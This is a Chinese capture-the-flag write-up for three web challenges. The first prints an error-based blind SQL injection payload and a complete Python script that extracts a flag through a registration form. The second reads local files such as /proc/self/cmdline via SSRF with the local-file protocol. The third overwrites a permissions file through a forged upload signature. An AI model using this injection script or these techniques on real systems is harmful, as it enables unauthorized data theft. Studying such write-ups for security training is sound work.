1.web1-张三的网站
这题是一道注入题,解法有两种,一种是二次注入,一种是insert类型注入。我们团队做题时用的时insert类型注入,payload为:
'^(case hex(mid((select * from flag limit 1 offset 0) from -1)) when '24' then 1 else 1/0 end)||'0
这里,当错误时,会执行1/0,数据库会出错,因此返回码为200,而如果条件正确时,会返回1,此时注册成功,返回码为302.最后附上脚本。
#encoding=utf-8
import requests
import json
import time
url = "http://4bbd0529b2974eefa5637051dd97233778147d62a1b546e8.cloudgame2.ichunqiu.com/register.php"
database = ""
hex_database = ""
i = -1
proxies = {
"http": "http://127.0.0.1:8080",
}
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
while i > -100:
for j in range(30,148):
j = chr(j)
k = j.encode('hex')
username = "'^(case hex(mid((select * from flag limit 1 offset 0) from "+str(i)+")) when '"+k+hex_database+"' then 1 else 1/0 end)||'0"
#username = "'^(case hex(mid(database() from -1)) when 65 then 1 else abs(-9223372036854775808) end)-- -"
# mid(database() from -1) 输出最后一位 mid(database() from -2) 输出最后两位,不同 用to, 过滤掉ascii时,也可以使用hex
print username
data = { #这儿是特殊情况,需要使用json.dumps
"username":username,
"password":"1",
"email":"[email protected]"
}
#print username
#data = json.dumps(data)
st = time.time()
r = requests.post(url,data=data,allow_redirects=False,headers=headers,proxies=proxies)
#print r.text
print r.status_code
if r.status_code==302:
#time.sleep(10)
database = j + database #这儿的j是字母
hex_database = k + hex_database #这儿的k是字母对应的hex
print database
break
i = i - 1
2.web2-picdown
这道题是考察SSRF的一道题目。直接使用file协议进行读取,会出现waf:
参考:https://xz.aliyun.com/t/6050 ,发现local-file协议读取文件:
先读取/proc/self/cmdline,发现程序运行在/root/路径下。
尝试读取flag:
3.web3-starbucks
这道题目考察的是权限覆盖,原型是
https://dreadlocked.github.io/2019/04/20/midnisghtsunctf-cloudb/
在js中发现:
在js中发现/userinfo/+userid+/info.js的一个文件,userid在题目主页的js里面可以看到:
先看下info.js的内容:
要把自己变成admin才能看到flag,最开始想到的是修改返回包,但是请求题目地址的时候,只看到两个数据包:
并没有请求这个info.js的,所以可能是服务器发情请求进行判定权限的。
然后想到上传点,那上传一个info.js覆盖掉原来的,具体操作如下;
1、先生成一个上传info.js的sign值
2、在上传包中替换sign,主要有三个地方:key,X-Amz-Date和Policy需要替换
然后访问看下info.js变成admin没:
3、最后刷新题目,点击show flag即可:
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论